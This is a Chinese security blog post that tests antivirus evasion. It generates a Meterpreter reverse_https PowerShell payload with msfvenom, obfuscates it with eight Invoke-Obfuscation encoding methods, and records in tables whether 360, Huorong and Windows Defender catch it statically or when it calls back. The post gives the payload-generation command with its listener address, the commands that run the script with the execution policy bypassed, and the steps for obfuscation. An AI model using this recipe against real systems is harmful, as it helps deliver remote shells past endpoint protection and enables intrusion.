微信公众号：乌鸦安全
扫取二维码获取更多信息！
更新时间：2021-05-31
Invoke-Obfuscation下载地址：https://github.com/danielbohannon/Invoke-Obfuscation
参考文档 https://blog.csdn.net/weixin_44216796/article/details/112723993
先说下结果：
Invoke-Obfuscation的Encoding部分方法混淆可以过360和火绒，但是过不了Windows Defender
1. 模块使用
导入模块
Import-Module C:\0_poweshell\Invoke-Obfuscation-master\Invoke-Obfuscation.psd1这里注意，一定要写上完整路径，不然会报错
加载模块
Invoke-Obfuscation
支持的加密方法：
-
TOKEN支持分部分混淆 STRING整条命令混淆 COMPRESS将命令转为单行并压缩， ENCODING编码 LAUNCHER选择执行方式
2. msfvenom下msf上线
首先用msfvenom生成一个ps1文件
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=4444 -f psh-reflection > msf-crow.ps1
然后设置监听：
然后回到win10
2.1 360
直接在有360的环境下进行执行（这里不做云查杀和杀毒的操作）
PowerShell.exe -ExecutionPolicy Bypass -File .\msf-crow.ps1
上线成功。
这里来一次查杀，首先使用按位置查杀
报毒，直接在这个位置关闭，不处理
再运行一次，此时360提示有毒。
2.2 Windows defender
复制到Windows sever2019下，Windows Defender直接杀掉
2.3 火绒
关掉Windows Defender
直接使用火绒扫描，没扫描到。
上线试试：
直接就上线了！！！
2.4 总结
因此在此可以进行如下总结：
msfvenom最新版（2021-05-28安装）生成powershell攻击脚本在静态下的查杀效果：
|
|
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
未测 |
❌ |
未测 |
| windows server 2019 64位 |
✔️ |
未测 |
❌ |
ps：以上环境都联网状态下
同样
msfvenom最新版（2021-05-28安装）生成powershell攻击脚本在动态执行上线的查杀效果：
|
|
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
未测 |
❌ |
未测 |
| windows server 2019 64位 |
✔️ |
未测 |
❌ |
ps：以上环境都联网，且均在cmd中执行-ExecutionPolicy Bypass来绕过执行安全策略进行上线。
这里可以看到，360在第一次并不拦截，而且还可以上线，这可能由于我用的是虚拟机，如果是实体机的话，应该会被杀。
3. 混淆大法
设置需要混淆的木马文件路径
set scriptpath C:\0_poweshell\msf-crow.ps1
4. 第一种混淆 1
encoding
选择第一种方法混淆
1将文件输出的out 1.ps1
文件路径：
C:\0_poweshell\Invoke-Obfuscation-master\1.ps1
攻击机开启监听模式：
上线测试：
4.1 360
在360环境下直接运行（生成之后没有杀毒扫描）
PowerShell.exe -ExecutionPolicy Bypass -File C:\0_poweshell\Invoke-Obfuscation-master\1.ps1
这里是在cmd命令行下执行PowerShell命令的
-ExecutionPolicy Bypass：绕过执行安全策略，在默认情况下，PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数，可以绕过任意一个安全保护规则。在渗透测试中，基本每一次运行PowerShell脚本时都要使用这个参数。（参考：https://blog.csdn.net/Eastmount/article/details/115503946）
360下上线成功
但使用360云查杀之后显示报毒：
4.2 windows Defender
windows Defender 直接静态被杀
4.3 火绒
火绒，静态扫描报毒
动态上线失败
4.4 总结
静态查杀
|
|
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
未测 |
❌ |
未测 |
| windows server 2019 64位 |
❌ |
未测 |
❌ |
全挂。。。
5. 第2种混淆 2
这里先静态测试下：
5.1 火绒
火绒：
5.2 360
360云查杀
5.3 Windows Defender
静态查杀能力：
|
|
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
未测 |
✔️ |
未测 |
| windows server 2019 64位 |
❌ |
未测 |
✔️ |
动态上线能力：
PowerShell.exe -ExecutionPolicy Bypass -File C:\0_poweshell\Invoke-Obfuscation-master\2.ps1
火绒：
静态查杀，动态上线失败
windf：
静态查杀正常，动态上线失败
360：
动态上线失败，而且清除了木马，因此这里360也是静动均查杀了木马
此时对其进行重新调整：
5.4 总结
静态查杀能力：
|
|
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
未测 |
❌ |
未测 |
| windows server 2019 64位 |
❌ |
未测 |
✔️ |
动态上线：
|
|
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
未测 |
❌ |
未测 |
| windows server 2019 64位 |
❌ |
未测 |
❌ |
6. 第三种方法 3
6.1 360
动态上线测试
再次云查杀
6.2 火绒
6.3 windows Defender
静态正常
动态：失败
6.4 总结
静态查杀能力：
|
|
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
未测 |
✔️ |
未测 |
| windows server 2019 64位 |
❌ |
未测 |
✔️ |
动态上线：
|
|
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
未测 |
✔️ |
未测 |
| windows server 2019 64位 |
❌ |
未测 |
❌ |
7. 第四种方法 4
7.1 360
上线测试
7.2 火绒
动态正常
7.3 windows Defender
静态过了
动态上线失败
7.4 总结
静态查杀能力：
|
|
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
未测 |
✔️ |
未测 |
| windows server 2019 64位 |
✔️ |
未测 |
✔️ |
动态上线：
|
|
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
未测 |
✔️ |
未测 |
| windows server 2019 64位 |
✔️ |
未测 |
❌ |
8. 第五种方法 5
现在验证下各种查杀
8.1 360
动态上线
8.2 火绒
8.3 window defender
都报错，那再生成一次，这次报错更多了
8.4 总结
静态查杀能力：
|
|
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
未测 |
✔️ |
未测 |
| windows server 2019 64位 |
✔️ |
未测 |
✔️ |
动态上线：
|
|
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
未测 |
运行报错 |
未测 |
| windows server 2019 64位 |
运行报错 |
未测 |
运行报错 |
9. 第6种方法 6
9.1 360
动态上线测试，上线正常
再杀一次，还是正常
9.2 火绒
9.3 window defender
9.4 总结
静态查杀能力：
|
|
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
未测 |
✔️ |
未测 |
| windows server 2019 64位 |
✔️ |
未测 |
❌ |
动态上线：
|
|
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
未测 |
✔️ |
未测 |
| windows server 2019 64位 |
✔️ |
未测 |
❌ |
10. 第七种方法 7
10.1 360
动态上线测试，win10下的powershell崩掉，应该是由于字符太大的原因
10.2 火绒
动态上线测试：
10.3 window defender
由于脚本无法在我的win10下测试，这里到winserver2019上进行测试，开启Windows defender防护
上线失败
10.4 总结
静态查杀能力：
|
|
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
未测 |
✔️ |
未测 |
| windows server 2019 64位 |
✔️ |
未测 |
✔️ |
动态上线：
|
|
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
未测 |
✔️ |
未测 |
| windows server 2019 64位 |
✔️ |
未测 |
❌ |
11. 第八种方法 8
11.1 360
11.2 火绒
11.3 window defender
11.4 总结
静态查杀能力：
|
|
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
未测 |
✔️ |
未测 |
| windows server 2019 64位 |
✔️ |
未测 |
✔️ |
动态上线：
|
|
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
未测 |
✔️ |
未测 |
| windows server 2019 64位 |
✔️ |
未测 |
❌ |
12. 总结
12.1 版本问题
环境：
Windows10 x64 + 360
winserver2019 x64 + 火绒
windows Defender最新版本
12.2 查杀问题
火绒，360，Windows defender均采用联网查杀，其中360采用云杀毒模式
12.3 bypass av能力总结
msfvenom生成powershell攻击脚本和Invoke-Obfuscation混淆方法在Encoding模式下的静态查杀效果：
|
|
msfvenom最新版（2021-05-28安装） |
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
msfvenom最新版（2021-05-28安装） |
未测 |
❌ |
未测 |
| windows server 2019 64位 |
msfvenom最新版（2021-05-28安装） |
✔️ |
未测 |
❌ |
|
|
方法1: ASCII |
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
方法1: ASCII |
未测 |
❌ |
未测 |
| windows server 2019 64位 |
方法1: ASCII |
❌ |
未测 |
❌ |
|
|
方法2: Hex |
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
方法2: Hex |
未测 |
✔️ |
未测 |
| windows server 2019 64位 |
方法2: Hex |
❌ |
未测 |
✔️ |
|
|
方法3: Octal |
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
方法3: Octal |
未测 |
✔️ |
未测 |
| windows server 2019 64位 |
方法3: Octal |
❌ |
未测 |
✔️ |
|
|
方法4: Binary |
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
方法4: Binary |
未测 |
✔️ |
未测 |
| windows server 2019 64位 |
方法4: Binary |
✔️ |
未测 |
✔️ |
|
|
方法5: SecureString (AES) |
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
方法5: SecureString (AES) |
未测 |
✔️ |
未测 |
| windows server 2019 64位 |
方法5: SecureString (AES) |
✔️ |
未测 |
✔️ |
|
|
方法6: BXOR |
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
方法6: BXOR |
未测 |
✔️ |
未测 |
| windows server 2019 64位 |
方法6: BXOR |
✔️ |
未测 |
❌ |
|
|
方法7: Special Characters |
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
方法7: Special Characters |
未测 |
✔️ |
未测 |
| windows server 2019 64位 |
方法7: Special Characters |
✔️ |
未测 |
✔️ |
|
|
方法8: Whitespace |
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
方法8: Whitespace |
未测 |
✔️ |
未测 |
| windows server 2019 64位 |
方法8: Whitespace |
✔️ |
未测 |
✔️ |
ps：以上环境都联网状态下，360采用云查杀
同样
msfvenom生成powershell攻击脚本和Invoke-Obfuscation混淆方法在Encoding模式下的动态上线查杀效果：
|
|
msfvenom最新版（2021-05-28安装） |
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
msfvenom最新版（2021-05-28安装） |
未测 |
❌ |
未测 |
| windows server 2019 64位 |
msfvenom最新版（2021-05-28安装） |
✔️ |
未测 |
❌ |
|
|
方法1: ASCII |
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
方法1: ASCII |
未测 |
❌ |
未测 |
| windows server 2019 64位 |
方法1: ASCII |
❌ |
未测 |
❌ |
|
|
方法2: Hex |
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
方法2: Hex |
未测 |
❌ |
未测 |
| windows server 2019 64位 |
方法2: Hex |
❌ |
未测 |
❌ |
|
|
方法3: Octal |
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
方法3: Octal |
未测 |
✔️ |
未测 |
| windows server 2019 64位 |
方法3: Octal |
❌ |
未测 |
❌ |
|
|
方法4: Binary |
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
方法4: Binary |
未测 |
✔️ |
未测 |
| windows server 2019 64位 |
方法4: Binary |
✔️ |
未测 |
❌ |
|
|
方法5: SecureString (AES) |
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
方法5: SecureString (AES) |
未测 |
运行报错 |
未测 |
| windows server 2019 64位 |
方法5: SecureString (AES) |
运行报错 |
未测 |
运行报错 |
|
|
方法6: BXOR |
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
方法6: BXOR |
未测 |
✔️ |
未测 |
| windows server 2019 64位 |
方法6: BXOR |
✔️ |
未测 |
❌ |
|
|
方法7: Special Characters |
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
方法7: Special Characters |
未测 |
✔️ |
未测 |
| windows server 2019 64位 |
方法7: Special Characters |
✔️ |
未测 |
❌ |
|
|
方法8: Whitespace |
火绒 |
360 |
Windows Defender |
| windows 10 64位 |
方法8: Whitespace |
未测 |
✔️ |
未测 |
| windows server 2019 64位 |
方法8: Whitespace |
✔️ |
未测 |
❌ |
ps：以上环境都联网状态下，360采用云查杀
原文地址：https://mp.weixin.qq.com/s/Nvog8OJZXvPKMqJ8MkwNAQ